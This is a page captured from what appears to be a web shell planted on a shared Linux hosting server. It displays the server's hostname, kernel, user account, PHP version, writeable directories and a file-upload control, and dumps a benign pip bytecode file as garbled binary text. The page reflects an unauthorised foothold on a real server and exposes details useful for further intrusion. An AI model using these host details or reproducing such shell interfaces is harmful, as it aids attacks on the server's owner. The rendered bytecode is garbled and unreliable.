Yohohohohohooho | Sanrei Aya
Sanrei Aya


Server : LiteSpeed
System : Linux barito.iixcp.rumahweb.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : elvh3918 ( 1528)
PHP Version : 8.2.31
Disable Function : mail
Directory :  /opt/alt/python37/lib/python3.7/site-packages/pip/_internal/utils/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/alt/python37/lib/python3.7/site-packages/pip/_internal/utils/__pycache__/glibc.cpython-37.pyc
B

�e5��؏��@s`ddlmZddlZddlZddlmZer<ddlmZmZdd�Z	dd�Z
d	d
�Zdd�ZdS)
�)�absolute_importN)�MYPY_CHECK_RUNNING)�Optional�TuplecCst�p
t�S)z9Returns glibc version string, or None if not using glibc.)�glibc_version_string_confstr�glibc_version_string_ctypes�rr��/builddir/build/BUILDROOT/alt-python37-pip-20.2.4-6.el9.x86_64/opt/alt/python37/lib/python3.7/site-packages/pip/_internal/utils/glibc.py�glibc_version_stringsr
c
CsDtjdkrdSyt�d���\}}Wntttfk
r>dSX|S)z@Primary implementation of glibc_version_string using os.confstr.�win32N�CS_GNU_LIBC_VERSION)�sys�platform�os�confstr�split�AttributeError�OSError�
ValueError)�_�versionrrr	rs
rcCsryddl}Wntk
r dSX|�d�}y
|j}Wntk
rJdSX|j|_|�}t|t�sn|�	d�}|S)z=Fallback implementation of glibc_version_string using ctypes.rN�ascii)
�ctypes�ImportError�CDLL�gnu_get_libc_versionr�c_char_p�restype�
isinstance�str�decode)r�process_namespacer�version_strrrr	r's



rcCst�}|dkrdSd|fSdS)z�Try to determine the glibc version

    Returns a tuple of strings (lib, version) which default to empty strings
    in case the lookup fails.
    N)�r#�glibc)r
)�
glibc_versionrrr	�libc_verWsr&)
�
__future__rrr
�pip._internal.utils.typingr�typingrrr
rrr&rrrr	�<module>s0

Yohohohohohooho | Sanrei Aya